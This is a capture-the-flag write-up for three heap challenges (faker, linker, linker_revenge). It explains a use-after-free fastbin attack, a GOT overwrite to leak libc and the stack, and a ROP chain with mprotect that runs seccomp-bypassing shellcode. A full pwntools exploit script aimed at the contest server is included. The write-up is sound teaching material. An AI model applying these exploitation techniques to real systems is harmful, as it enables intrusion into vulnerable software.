Rating:

Since faker, linker, and linker_revenge are quite similar, this writeup will cover all three.

This is the faker checksec output:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

seccomp additionally restricts syscalls to openat(),read(),write(),mprotect(),mmap()

All three executables have the same basic functionality in pseudocode:

alloc(size):
    idx = 0;
    while(!buf_in_use[idx]) idx++;
    if(idx >= 5) fail();
    buf_in_use[idx] = true;
    buf[idx] = calloc(size);
    buf_size[idx] = size;

delete(idx):
    free(idx);
    buf_in_use[idx] = false;

edit(idx):
    if(buf_in_use[idx])
        read(buf[idx],buf_size[idx]);

The globals are laid out like this:

int32_t buf_size[8];
uint32_t buf_in_use[8];
void* buf[8];

Note that indices 5-7 are inaccessible, the array sizes are for proper alignment.

The main differences between the three are as follows:

  • faker requires that size <= 0x70 in alloc()
  • linker does not have seccomp
  • linker_revenge has a function that does puts(buf[idx])

We avoid using puts(buf[idx]), and futher restrict alloc() to size <= 0x70

We first obtain arbitrary write by overwriting the global buf* structures. We do this by setting buf_size[0] = 0x61 and buf_size[1] = 0 by allocating buffers to create a fake fastbin chunk of size 0x50. We then fill the tcache of size 0x50 by alloc()'ing and free()'ing a buffer of size 0x50 repeatedly. Since calloc() skips the tcache, we are effectively stashing freshly allocated chunks into the tcache. Then we allocate and free a buffer of size 0x50 which goes into the fastbin. We can then exploit a UAF in edit() to point the fd pointer to our fake chunk. We can then allocate the fake chunk.

From here we can write to (void*)&buf_size[2]. We overwrite buf[0] = (void*)buf_size to set up another write that can overwrite all of the global structures. We then use this write to setbuf_size[i] = INT_MAX, buf_in_use[i] = true, and keep buf[0] = (void*)buf_size so we can always overwrite the global structures again for another arbitrary read/write if we need to.

We now use our arbitrary write to obtain arbitrary read by setting free()'s GOT entry to puts@PLT. If we free() a index now, it will instead puts() the contents of the buffer.

We use our arbitrary read to leak a libc pointer from the GOT, and leak the __environ pointer in the libc to get a pointer to the stack.

Now we deploy shellcode to a RW page, and write a ROP payload to call mprotect() to make the shellcode executable and exeucute it. Since the offset between __environ and the current stack pointer can be very system dependent, we need to add a "nop sled" to the ROP payload. We can do this by prepending the payload with a lot of pointers to a ret instruction, which instantly returns to the next pointer on the stack and does nothing.

The shellcode just does the following to get around seccomp:

fd = openat(AT_FDCWD,"flag",O_RDONLY);
num_read = read(fd,rsp,0x1000);
write(1,rsp,num_read)

Here is the actual assembly shellcode:

mov rax,257
mov rdi,4294967196
lea rsi,[rip + filename_flag]
xor rdx,rdx
syscall
mov rdi,rax
xor rax,rax
mov rsi,rsp
mov rdx,0x1000
syscall
mov rdx,rax
mov rax,1
mov rdi,rax
syscall
filename_flag:
.asciz "flag"

Here is the full exploit for faker(offsets must be changed for the other ones):

#!/usr/bin/env python3

from pwn import *
import sys

#p = process("./faker")
p = remote("faker.3k.ctf.to",5231)

def cmd(num):
    p.recvuntil(b"> ")
    p.sendline(str(num))
    p.recvuntil(b":\n")

def alloc(size):
    cmd(1)
    p.send(str(size))
    s = p.recvline()
    i = s.rindex(b' ')
    return int(s[i:])

def edit(idx,buf):
    cmd(2)
    p.sendline(str(idx))
    p.recvuntil(b":\n")
    p.send(buf)

def free(idx):
    cmd(3)
    p.sendline(str(idx))

def view(idx):
    free(idx)
    end_txt = "1- Get new blank page"
    s = p.recvuntil(end_txt)
    s = s[:-len(end_txt) - 1]
    return s

ptr_rel_memcpy = 0x602068
ptr_rel_free = 0x602018
ptr_plt_puts = 0x4008c0
ptr_fake_fast = 0x6020d8
ptr_ptrs = 0x6020e0
ptr_name = 0x602150
ptr_pop_rsi_r15 = 0x00401121
ptr_pop_rdi = 0x401123
ptr_ret = 0x401124

off_memcpy = 0x18ed40
off_system = 0x000000000004f4e0
ptr_buf = 0x602200
ptr_buf_page = 0x602000
sz = 0x50

p.recvuntil(":\n")
p.sendline(b'008')
p.send(b"/bin/sh\x00")

for i in range(7):
    alloc(sz)
    free(0)

alloc(sz + 0x11)
alloc(0)

alloc(sz)
free(2)
edit(2,p64(ptr_fake_fast))

alloc(sz)
alloc(sz)
edit(3,p32(0x7fffffff) * 3 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3) + p64(0) * 2 + p64(ptr_ptrs))

buf_pre = p32(0x7fffffff) * 5 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3)
edit(2,buf_pre + p64(ptr_ptrs) + p64(ptr_rel_memcpy) + p64(ptr_rel_free))

edit(2,p64(ptr_plt_puts))

ptr_memcpy = int.from_bytes(view(1),"little")
ptr_libc = ptr_memcpy - off_memcpy
ptr_environ = ptr_libc + 0x00000000003ee098
ptr_pop_rax = ptr_libc + 0x43a78
ptr_pop_rdx = ptr_libc + 0x1b96
ptr_syscall = ptr_libc + 0x13c0
ptr_mprotect = ptr_libc + 0x000000000011bc00

print(hex(ptr_libc))

edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_environ))
ptr_leak_stack = int.from_bytes(view(1),"little")

print(hex(ptr_leak_stack - 0x400))

edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_buf) + p64(ptr_leak_stack - 0x200))
with open("shell","rb") as shell_f:
    shellcode = shell_f.read()
edit(1,shellcode)

buf = p64(ptr_ret) * (0x100 // 8)
buf += p64(ptr_pop_rdi) + p64(ptr_buf_page)
buf += p64(ptr_pop_rsi_r15) + p64(0x1000) + p64(0)
buf += p64(ptr_pop_rdx) + p64(5)
buf += p64(ptr_mprotect)
buf += p64(ptr_buf)
edit(2,buf)

p.interactive()